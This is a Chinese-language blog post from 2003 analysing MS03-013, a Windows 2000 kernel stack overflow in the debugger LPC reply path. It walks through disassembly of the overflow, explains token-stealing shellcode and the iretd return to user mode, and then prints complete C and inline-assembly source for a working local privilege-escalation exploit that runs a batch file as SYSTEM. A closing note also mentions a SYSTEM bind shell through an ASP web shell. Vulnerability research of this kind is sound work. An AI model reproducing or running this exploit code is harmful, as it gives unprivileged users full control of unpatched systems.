windows 2000 kernel exploit 的一点研究

windows 2000 kernel exploit 的一点研究

ey4s<cooleyas@21cn.com>
2003-05-23


以下是研究MS03-013所公布漏洞时的一点心得,其中可能有不少错误的地方,请大家多指教。本文涉
及到的一些东西并没有详细解释,如KPEB、TEB等,大家可自行参考本文后面所提到的参考资源。写这篇文
章的目的是权当笔记,一是请高手们指出错误,二来供以后翻阅。


-=-=-=- 第一部分 实例分析 -=-=-=-

MS在2003-04-16发布了一个安全公告MS03-013,内容如下:
The vulnerability exists in the kernel debugging support code that delivers debug
events to the user mode debugger. malicious user mode debugger would send a large reply
to the kernel, which results in a stack overflow.

按照惯例,MS的安全公告不会提供技术细节的,但在漏洞发现者的网站上也没有公布技术细节,其他
地方也没有相关的资料,于是只能自己跟踪分析了。花了我很长时间,终于重现了这个漏洞。

背景知识: user-mode debuger工作流程
<1>debuger创建一个新进程,或attach一个正在运行的进程。我们称这个进程为B。
<2>debuger等待进程B产生debug事件
<3>进程B产生debug事件,发送消息给debuger,进程挂起,等待debuger指令。
<3>debuger处理debug事件,发送消息给进程B。
<4>进程B接受debuger发送的消息,进程复苏。
<5>循环2-4

消息传递是通过lpc port来进行的,流程如下所示:
debuger <--> kernel <--> process B

上面所说的消息结构如下:
typedef struct _DEBUG_MESSAGE
{
PORT_MESSAGEPORT_MSG;
DEBUG_EVENTDebugEvent;
}DEBUG_MESSAGE, *PDEBUG_MESSAGE;

typedef struct _PORT_MESSAGE
{
USHORTDataSize;//数据长度
USHORTMessageSize;//总长度
USHORTMessageType;
USHORTDataInfoOffset;
CLIENT_ID ClientId;
ULONG MessageId;
ULONG SectionSize;
//UCHARData[];
}PORT_MESSAGE, *PPORT_MESSAGE;

在\Microsoft SDK\samples\winbase\Debug目录下有几个简单的user-mode debuger的源代码,
大家可以参考一下。

结合安全公告的内容和背景知识,我想你已经知道怎么重现这个漏洞了。
<>debuger send large reply --> kernel
<>kernel delivers reply -> process B
在kernel处理这个恶意的reply时,溢出发生了。

注意:溢出发生时,CPU所处的路径是 -> 运行在内核空间,关联着进程B。


OK!我们来看看反汇编出来的代码,看看溢出到底是怎么发生的。


首先,debuger发送的reply长度是有限制的,我们来看看:

//Data长度要小于等于总长度-0x18
NtReplyPort+0x4D
0008:8049DC89PUSH06
0008:8049DC8BPOP ECX
0008:8049DC8CMOV ESI,[EBP+0C]//reply message地址
0008:8049DC8FLEA EDI,[EBP-3C]
0008:8049DC92REPZ MOVSD
0008:8049DC94ORDWORD PTR [EBP-04],-01
0008:8049DC98MOVSX EAX,WORD PTR [EBP-3C]//取message DataSize
0008:8049DC9CADD EAX,18
0008:8049DC9FMOVSX ECX,WORD PTR [EBP-3A]//取message TotalSize
0008:8049DCA3CMP EAX,ECX//判断DataSize+0x18是否大于TotalSize
0008:8049DCA5JA804EEE93

//Reply总长度不能超过0x148
0008:8049DCD3MOV AX,[EBP-3A]//取message TotalSize
0008:8049DCD7MOVSX EDX,AX
0008:8049DCDAMOV ECX,[EBP-20]
0008:8049DCDDCMP EDX,[ECX+34]//[ecx+34]处内容为0x148
0008:8049DCE0JA804EEF82

所以总长度最大只能为0x148字节,Data最大只能为0x130字节,但这已经足够触发内核堆栈溢出了。

接着kernel会调用_DbgkpSendApiMessage来处理我们的debuger发送的reply_msg,函数调用关系如下:
DbgkpSendApiMessage
|_ LpcRequestWaitReplyPort
|_ 80433399
|_ LpcpMoveMessage<-- kernel stack buffer overflow

_DbgkpSendApiMessage(argv1, argv2, argv3)
_DbgkpSendApiMessage
0008:8052CF45PUSHEBP
0008:8052CF46MOV EBP,ESP
0008:8052CF48SUB ESP,00000100//从stack中分配0x100字节内存
......
0008:8052CF5EMOV ESI,[EBP+08]
......
0008:8052CF78LEA EAX,[EBP-0100]
0008:8052CF7EPUSHEAX
0008:8052CF7FPUSHESI
0008:8052CF80PUSHDWORD PTR [EBP+0C]
0008:8052CF83CALL_LpcRequestWaitReplyPort
......
0008:8052CFBARET 000C


_LpcRequestWaitReplyPort(argv3, argv2, stack_buff)
_LpcRequestWaitReplyPort
0008:8049CFD3PUSH00
0008:8049CFD5PUSHDWORD PTR [ESP+10]
0008:8049CFD9PUSHDWORD PTR [ESP+10]
0008:8049CFDDPUSHDWORD PTR [ESP+10]
0008:8049CFE1CALL80433399
0008:8049CFE6RET 000C


80433399(argv3, argv2, stack_buff, 0)
80433399+0x3da
0008:80433773MOV ESI,[EBP+0C]
0008:80433776XOR EDI,EDI
0008:80433778PUSHEDI
0008:80433779PUSHEDI
0008:8043377ALEA EAX,[ESI+30]
0008:8043377DPUSHEAX
0008:8043377ELEA EAX,[ESI+18]
0008:80433781PUSHEAX
0008:80433782PUSHDWORD PTR [EBP+10]
0008:80433785CALL_LpcpMoveMessage


_LpcpMoveMessage(stack_buff, argv2+18, argv2+0x30)
_LpcpMoveMessage
0008:80402276PUSHESI
0008:80402277PUSHEDI
0008:80402278MOV EDI,[ESP+0C]
0008:8040227CCLD
0008:8040227DMOV ESI,[ESP+10]
0008:80402281LODSD
0008:80402282STOSD
0008:80402283LEA ECX,[EAX+03]//取得DataSize
0008:80402286AND ECX,0000FFFC//取4的整数,去除余数,如0x121 -> 0x120
0008:8040228CSHR ECX,02//DataSize除4
0008:8040228FLODSD
0008:80402290MOV EDX,[ESP+18]
0008:80402294OREDX,EDX
0008:80402296JZ8040229B
0008:80402298MOV AX,DX
0008:8040229BSTOSD
0008:8040229CMOV EDX,[ESP+1C]
0008:804022A0OREDX,EDX
0008:804022A2JZ804022B0
0008:804022A4MOV EAX,[EDX]
0008:804022A6STOSD
0008:804022A7MOV EAX,[EDX+04]
0008:804022AASTOSD
0008:804022ABADD ESI,08
0008:804022AEJMP 804022B2
0008:804022B0MOVSD
0008:804022B1MOVSD
0008:804022B2MOVSD
0008:804022B3MOVSD
0008:804022B4MOV ESI,[ESP+14]
0008:804022B8REPZMOVSD//没有考虑stack buffer大小,将我们的发送的数据全部copy到stack中
0008:804022BAPOP EDI
0008:804022BBPOP ESI
0008:804022BCRET 0014


-=-=-=- 第二部分 exploit需要解决的几个问题 -=-=-=-

一、确定retloc地址。

从第一部分的反汇编代码中可以知道,函数的返回地址在stack_buff+0x104处。


二、确定retaddr地址。

因为溢出发生时,关联的是进程B,所以shellcode就直接放在进程B空间里面,进程B把处于它进程内
的shellcode的地址传递给debuger,然后debuger发送给kernel的buffer结构如下:

|...nop...|realcode_addr|shellcode_addr|nop(0xC)|esp|cs|ds|es|

realcode_addr覆盖在ebp,realcode的功能是恢复寄存器fs、以SYSTEM权限运行ey4s.bat。
shellcode_addr覆盖在DbgkpSendApiMessage函数的返回地址,shllcode的功能是提升权限、从核心
态返回应用态。
因为函数DbgkpSendApiMessage返回时是ret 0xc,所以要0xc个nop来填充。
再后面跟的就是返回应用态后进程B应该对应的寄存器值了。



三、提升权限。

显然假设Process B是以普通用户身份运行的,所以利用这个漏洞的目的是提升权限,所以要在从
核心态返回应用态之前提前权限。在unix平台中可以修改当前进程的UID为0,达到提升权限的目的。在
windows平台中也可以用类似的方法,但不是修改UID(因为windows没有UID这个概念),而是修改当前
进程的访问令牌,即Process Token。开始我用的办法是修改Token中的特权列表,如增加debug特权,但这
样的话,返回应用态后想获得SYSTEM权限还得费点功夫。Token还有很多可以修改的地方,如Owner SID等等。
最后还是决定用最简单最有效的办法,即用SYSTEM进程的TOKEN替换当前进程的TOKEN,这样我们的进程就
有最高权限了。

在windows 2000平台中:
当运行在内核模式的时候,FS:[0x124]总是指向到当前线程的TEB,[TEB+0x44]总是指向到当前进程
的KPEB。在[KPEB+0x12c]处存放的就是当前进程的Token了。系统中各个进程的KPEB由一环形链表联结着,
所以可以通过当前进程的KPEB找出其他进程的KPEB。

实现代码如下:

//获取当前进程的KPEB地址
moveax,fs:[0x124]
movesi,[eax+0x44]
moveax,esi

/*搜索SYSTEM进程的KPEB地址*/
//获得下一个进程的KPEB
search:
moveax,[eax+0xa0]
subeax,0xa0
cmp[eax+0x9c],0x8//从PID判断是否SYSTEM进程
jnesearch

moveax,[eax+0x12c]//获取system进程的token
mov[esi+0x12c],eax//修改当前进程的token



四、从内核态正确返回应用态

溢出发生后,我们的shellcode得到控制权,提升权限后应该让中断调用返回,系统才不会崩溃掉。因
为我们覆盖了内核函数DbgkpSendApiMessage的返回地址,所以让中断调用返回这个任务就只有让我们自己
来完成了。在返回之前要还原一些寄存器的值,这样在返回应用态后,进程B中我们的realcode才能正确的
继续运行。在中断返回时,堆栈中的数据结构如下:

内存高处 栈底
|??????|
|ds| <-- 返回应用态后的ds
|esp | <-- 返回应用态后的esp
|eflags| <-- 返回应用态后的flags
|cs| <-- 返回应用态后的cs
|eip | <-- 返回应用态后的eip
内存低处 栈顶

我们自己构造这些数据,然后让esp指向这些数据,接着调用iretd从核心态返回应用态也可以。不过,
好像这样返回后会出问题,也许参数没有设置完整。还是从内存中搜索这些参数保险一点。


-=-=-=- 第三部分 exploit -=-=-=-

/*-------------------------------------------------------------------
debugme.cpp
written by ey4s
cooleyas@21cn.com
2003-05-23
-------------------------------------------------------------------*/
#include <windows.h>
#include <stdio.h>
#pragma pack(1)

typedef struct _SomeInfo
{
DWORDdwNum;
DWORDdwRealCode;
DWORDdwShellCode;
DWORDdw[3];
DWORDdwESP;
DWORDdwCS;
DWORDdwDS;
DWORDdwES;
}SOMEINFO, *PSOMEINFO;

unsignedcharshellcode[512];
unsignedcharrealcode[512];
DWORDdwFS;
HANDLEhProcess;
DWORDdwRun;
SOMEINFOsi;

voidshellcodefnlock();
voidrealcodefnlock();
void getshellcode(unsigned char *pDst, int iSize, BYTE *pSrc);
void CreateNewProcess()
{
STARTUPINFO si={sizeof(si)};
PROCESS_INFORMATION pi;

CreateProcess(NULL, "ey4s.bat", NULL, NULL,
TRUE, CREATE_NEW_CONSOLE , NULL, NULL, &si, &pi);
exit(0);
}

void main()
{
HMODULEh;
DWORDdwESP, dwCS, dwDS, dwES;

//保存寄存器值
__asm
{
movdwESP, esp
subdwESP, 0x100

pushcs
popeax
andeax,0xFFFF
movdwCS, eax

pushds
popeax
andeax,0xFFFF
movdwDS, eax

pushes
popeax
andeax,0xFFFF
movdwES, eax

pushfs
popeax
andeax,0xFFFF
movdwFS, eax
}
//取得shellcode
getshellcode(shellcode, sizeof(shellcode), (BYTE *)shellcodefnlock);
getshellcode(realcode, sizeof(realcode), (BYTE *)realcodefnlock);
//传递一些信息给debuger
dwRun = (DWORD)&CreateNewProcess;
si.dwNum = sizeof(si)/sizeof(DWORD) -1 ;
si.dwRealCode = (DWORD)&realcode;
si.dwShellCode = (DWORD)&shellcode;
si.dwESP = dwESP;
si.dwCS = dwCS;
si.dwDS = dwDS;
si.dwES = dwES;
printf( "shellcode 0x%.8X\n"
"realcode 0x%.8X\n"
"ESP=%.8X CS=0x%X DS=0x%X ES=0x%X FS=0x%X\n",
si.dwShellCode, si.dwRealCode, si.dwESP,
si.dwCS, si.dwDS, si.dwES, dwFS);
RaiseException(0x1981, 0, sizeof(si)/sizeof(DWORD), (DWORD *)&si);
//触发Load Dll和Free Dll事件
while(1)
{
//printf(".");
h=LoadLibrary("ws2_32.dll");
Sleep(1000);
FreeLibrary(h);
Sleep(1000);
}
}

voidshellcodefnlock()
{
_asm
{
nop
nop
nop
nop
nop
nop
nop
nop

/*start here*/

/*--------提升权限--------*/
//获取当前进程的KPEB地址
moveax,fs:[0x124]
movesi,[eax+0x44]
moveax,esi

/*搜索SYSTEM进程的KPEB地址*/
//获得下一个进程的KPEB
search:
moveax,[eax+0xa0]
subeax,0xa0
cmp[eax+0x9c],0x8//从PID判断是否SYSTEM进程
jnesearch

moveax,[eax+0x12c]//获取system进程的token
mov[esi+0x12c],eax//修改当前进程的token

/*------------从核心态返回应用态--------------*/
//保存esp
movesi,esp

//搜索iretd所需要的参数
moveax,esp
addeax,0x10//跳过我们的数据
next:
addeax,0x4
movebx,[eax]
cmpebx,[esi+0x4]//cs linux系统是0x23,win2k好像都是1b
jnenext
//
subeax,0x4//此时eax指向的即为iretd返回所需要的参数起始地址
movesp,eax
mov[eax],ebp//ebp是realcode的地址,设置返回后的eip为realcode的起始地址
addeax,0xC
//设置返回应用态后的esp
movebx,[esi]
mov[eax], ebx

//恢复寄存器值
push[esi+0x8]
popds
push[esi+0xc]
popes
//返回应用态
iretd
/*end here*/
int 3
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP

}
}

voidrealcodefnlock()
{
_asm
{
nop
nop
nop
nop
nop
nop
nop
nop

/*start here*/
pushdwFS
popfs
//call our function
calldwRun
/*end here*/
int 3
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP

}
}

void getshellcode(unsigned char *pDst, int iSize, BYTE *pSrc)
{
unsignedchartemp;
unsignedchar*shellcodefnadd, *start;
intlen,k;
char *fnendstr="\x90\x90\x90\x90\x90\x90\x90\x90\x90";
#defineFNENDLONG 0x08

/* 定位 shellcodefnlock的汇编代码 */
shellcodefnadd=pSrc;
temp=*shellcodefnadd;
if(temp==0xe9)
{
++shellcodefnadd;
k=*(int *)shellcodefnadd;
shellcodefnadd+=k;
shellcodefnadd+=4;
}
for(k=0;k<=0x500;++k)
if(memcmp(shellcodefnadd+k,fnendstr,FNENDLONG)==0)
break;
/* shellcodefnadd+k+8是得到的shellcodefnlock汇编代码地址 */
len=0;
start=shellcodefnadd+k+8;
//len = 2*wcslen(shellcodefnadd+k+8);
while((BYTE)start[len] != (BYTE)'\xcc')
{
pDst[len] = start[len];
len++;
if(len>=iSize-1) break;
}
//memcpy(shellcode,shellcodefnadd+k+8,len);
pDst[len]='\0';
}

/*-------------------------------------------------------------------
xDebug.cpp
written by ey4s
cooleyas@21cn.com
2003-05-23
-------------------------------------------------------------------*/
#include <windows.h>
#include <stdio.h>

#defineoffset0x100+0x4-0x6*4

typedef enum _PROCESSINFOCLASS {
ProcessDebugPort=7// 7 Y Y
} PROCESSINFOCLASS;

typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING ,*PUNICODE_STRING;

typedef struct _CLIENT_ID
{
HANDLE UniqueProcess;
HANDLE UniqueThread;
}CLIENT_ID,* PCLIENT_ID, **PPCLIENT_ID;

typedef struct _LPC_MESSAGE
{
USHORTDataSize;
USHORTMessageSize;
USHORTMessageType;
USHORTDataInfoOffset;
CLIENT_ID ClientId;
ULONG MessageId;
ULONG SectionSize;
//UCHARData[];
}LPC_MESSAGE, *PLPC_MESSAGE;

typedef struct _OBJECT_ATTRIBUTES
{
DWORD Length;
HANDLERootDirectory;
PUNICODE_STRING ObjectName;
DWORD Attributes;
PVOID SecurityDescriptor;
PVOID SecurityQualityOfService;
}OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES, **PPOBJECT_ATTRIBUTES;

typedef
DWORD
(CALLBACK * NTCREATEPORT)(

OUT PHANDLE PortHandle,
IN POBJECT_ATTRIBUTES ObjectAttributes,
IN ULONGMaxConnectInfoLength,
IN ULONGMaxDataLength,
IN OUT PULONG Reserved OPTIONAL );

typedef
DWORD
(CALLBACK * NTREPLYWAITRECVIVEPORT)(

IN HANDLE PortHandle,
OUT PHANDLE ReceivePortHandle OPTIONAL,
IN PLPC_MESSAGE Reply OPTIONAL,
OUT PLPC_MESSAGEIncomingRequest );


typedef
DWORD
(CALLBACK * NTREPLYPORT)(

IN HANDLE PortHandle,
IN PLPC_MESSAGE Reply );

typedef
DWORD
(CALLBACK * NTSETINFORMATIONPROCESS)(

IN HANDLE ProcessHandle,
IN PROCESSINFOCLASS ProcessInformationClass,
IN PVOIDProcessInformation,
IN ULONGProcessInformationLength );


typedef struct _DEBUG_MESSAGE
{
LPC_MESSAGEPORT_MSG;
DEBUG_EVENTDebugEvent;
}DEBUG_MESSAGE, *PDEBUG_MESSAGE;


NTSETINFORMATIONPROCESS NtSetInformationProcess;
NTREPLYWAITRECVIVEPORTNtReplyWaitReceivePort;
NTCREATEPORTNtCreatePort;
NTREPLYPORTNtReplyPort;

template <int i> struct PORT_MESSAGEX : LPC_MESSAGE {
UCHAR Data[i];
};

PROCESS_INFORMATIONpi;

int main()
{
HMODULE hNtdll;
DWORDdwAddrList[9];
BOOLbExit = FALSE;
DWORDdwRet;
HANDLEhPort;
intk=0;
DEBUG_MESSAGE dm;
OBJECT_ATTRIBUTES oa = {sizeof(oa)};
PORT_MESSAGEX<0x130> PortReply;
STARTUPINFOsi={sizeof(si)};

printf( "\nxDebug -> windows kernel exploit for MS03-013\n"
"Written by ey4s<cooleyas@21cn.com>\n"
"2003-05-23\n\n");

//get native api address
hNtdll = LoadLibrary("ntdll.dll");
if(hNtdll == NULL)
{
printf("LoadLibrary failed:%d\n", GetLastError());
return 0;
}

NtReplyWaitReceivePort = (NTREPLYWAITRECVIVEPORT)
GetProcAddress(hNtdll, "NtReplyWaitReceivePort");

NtCreatePort = (NTCREATEPORT)
GetProcAddress(hNtdll, "NtCreatePort");

NtReplyPort = (NTREPLYPORT)
GetProcAddress(hNtdll, "NtReplyPort");

NtSetInformationProcess = (NTSETINFORMATIONPROCESS)
GetProcAddress(hNtdll, "NtSetInformationProcess");

//create port
dwRet = NtCreatePort(&hPort, &oa, 0, 0x148, 0);
if(dwRet != 0)
{
printf("create hPort failed. ret=%.8X\n", dwRet);
return 0;
}
//create process
if(!CreateProcess(0, "debugme.exe", NULL, NULL, TRUE,
CREATE_SUSPENDED, 0, 0, &si, &pi))
{
printf("CreateProcess failed:%d\n", GetLastError());
return 0;
}
//set debug port
dwRet = NtSetInformationProcess(pi.hProcess, ProcessDebugPort,
&hPort, sizeof(hPort));
if(dwRet != 0)
{
printf("set debug port error:%.8X\n", dwRet);
return 0;
}
//printf("pid:0x%.8X %d hPort=0x%.8X\n", pi.dwProcessId, pi.dwProcessId, hPort);
ResumeThread(pi.hThread);

while (true)
{
memset(&dm, 0, sizeof(dm));
NtReplyWaitReceivePort(hPort, 0, 0, &dm.PORT_MSG);
k++;
switch (dm.DebugEvent.dwDebugEventCode+1)
{
case EXCEPTION_DEBUG_EVENT:
printf("DEBUG_EVENT --> except\n");

if(dm.DebugEvent.u.Exception.ExceptionRecord.NumberParameters == 9)
{
memcpy((unsigned char *)&dwAddrList,
(unsigned char
*)&dm.DebugEvent.u.Exception.ExceptionRecord.ExceptionInformation,
sizeof(dwAddrList));
/*intn;
for(n=0;n<6;n++)
printf("%.8X\n", dwAddrList[n]);*/
}
break;

case CREATE_THREAD_DEBUG_EVENT:
printf("DEBUG_EVENT --> create thread\n");
break;

case CREATE_PROCESS_DEBUG_EVENT:
printf("DEBUG_EVENT --> create process\n");
break;

case EXIT_THREAD_DEBUG_EVENT:
printf("DEBUG_EVENT --> exit thread\n");
break;

case EXIT_PROCESS_DEBUG_EVENT:
printf("DEBUG_EVENT --> exit process\n");
bExit = TRUE;
break;

case LOAD_DLL_DEBUG_EVENT:
printf("DEBUG_EVENT --> load dll\n");
break;

case UNLOAD_DLL_DEBUG_EVENT:
printf("DEBUG_EVENT --> unload dll\n");
break;

case OUTPUT_DEBUG_STRING_EVENT:
printf("DEBUG_EVENT --> debug string\n");
break;

} //end of switch
//printf("k=%d\n",k);
if(k==10)
{
//printf("************\n");
//Sleep(4*1000);
memset(&PortReply, 0, sizeof(PortReply));
memcpy(&PortReply, &dm, sizeof(dm));
PortReply.MessageSize = 0x148;
PortReply.DataSize = 0x130;
memset(&PortReply.Data, 'a', sizeof(PortReply.Data));
memcpy(&PortReply.Data[offset-4], &dwAddrList, sizeof(dwAddrList));
dwRet = NtReplyPort(hPort, &PortReply);
if(dwRet ==0 )
printf("Send shellcode to ntoskrnl completed!"
"Wait for exit.\n");
else
printf("NtReply err:%.8X\n", dwRet);
}
else
NtReplyPort(hPort, &dm.PORT_MSG);
if(bExit) break;
}//end of while
return 0;
}

编译xDebug.cpp和debugme.cpp,放在同一目录下,再创建一个ey4s.bat,然后运行xDebug.exe,成功
后会以SYSTEM权限运行ey4s.bat。


-=-=-=- 第四部分 其他 -=-=-=-

个人认为,kernel exploit和user-mode exploit区别在于kernel exploit要多做两件事:
<1>提升权限。当然如果关联的进程已经是SYSTEM、或ADMIN权限,就没必要提升权限了。
<2>从核心态正确返回应用态,这其中包括恢复寄存器值,搜索返回所需要的参数等。
其他的就跟user-mode exploit没什么区别了。


在这过程中参考了大量书籍、资料,向作者们表示感谢!

References:
<> http://elfhack.whitecell.org/ Linux_Kernel_Exploit_RD by alert7
<> http://person.okey.net/~webcrazy/ webcrazy
<> http://www.chapeaux-noirs.org crazylord

books:
*Windows NT/2000 Native API Reference
*Inside Microsoft Windows 2000, Third Edition

-=-=-=- 第五部分 后记 -=-=-=-
以上exp只能在以下情况下成功:
<>交互登录时,直接运行
<>交互登录时,以普通用户身份运行xdebug
不能用于:
<>asp shell

在aspshell里面调用失败的原因比较奇怪,正在想办法解决,应该是可以解决的问题。在改进版本中,asp shell里面调用已经可以以system身份绑定shell,并且可以连接上去执行cmd.exe的内置命令,可以运行whoami.exe等一些程序,但运行net.exe、ping.exe等还是失败,出错信息是0xC0000142。
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值